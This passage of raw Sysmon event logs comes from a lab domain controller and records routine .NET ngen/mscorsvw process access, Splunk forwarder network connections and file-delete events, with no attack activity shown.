:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 354300x800000000000000044398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.428{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59255-false10.0.1.12-8000- 354300x800000000000000044397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:47.349{7BD73061-6F41-613B-0109-00000000F001}6672C:\Program Files\Microsoft Office\root\Integration\Addons\OneDriveSetup.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59249-false104.208.16.90-443https 10341000x800000000000000044396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.919{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F61-613B-6809-00000000F001}4960C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.899{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F61-613B-6809-00000000F001}4960C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.899{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F61-613B-6809-00000000F001}4960C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.839{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F61-613B-6709-00000000F001}6584C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.819{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F61-613B-6709-00000000F001}6584C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.819{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F61-613B-6709-00000000F001}6584C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.785{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F61-613B-6609-00000000F001}1008C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.769{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F61-613B-6609-00000000F001}1008C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.769{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F61-613B-6609-00000000F001}1008C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000044387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.509{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=041F68075A611CCEA82229B9DAC84130,SHA256=69F99E7AC53F85EB0A53999A5F4BE4D28F264436AC9C76B2C33314489F1FDBA4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.369{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F61-613B-6509-00000000F001}5940C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.349{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F61-613B-6509-00000000F001}5940C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.349{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F61-613B-6509-00000000F001}5940C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.289{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F61-613B-6409-00000000F001}5672C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.269{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F61-613B-6409-00000000F001}5672C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.269{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F61-613B-6409-00000000F001}5672C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.228{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F61-613B-6309-00000000F001}6164C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.218{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8744C134A3E1DDD9478C899F7267B59D,SHA256=B02EDB0D383994B19C8643509DC6A1502E41D39400D96C22BDE34FB966EFF482,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.208{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F61-613B-6309-00000000F001}6164C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.208{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F61-613B-6309-00000000F001}6164C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000044376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.208{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=44DB3A2159160439B96976EE36ED027F,SHA256=0A392D74449722CD1C4824F08D64357CB9D0047659CB7FF0D24EAFFC1A6229FA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.180{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F61-613B-6209-00000000F001}6848C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.158{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F61-613B-6209-00000000F001}6848C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:49.158{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F61-613B-6209-00000000F001}6848C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 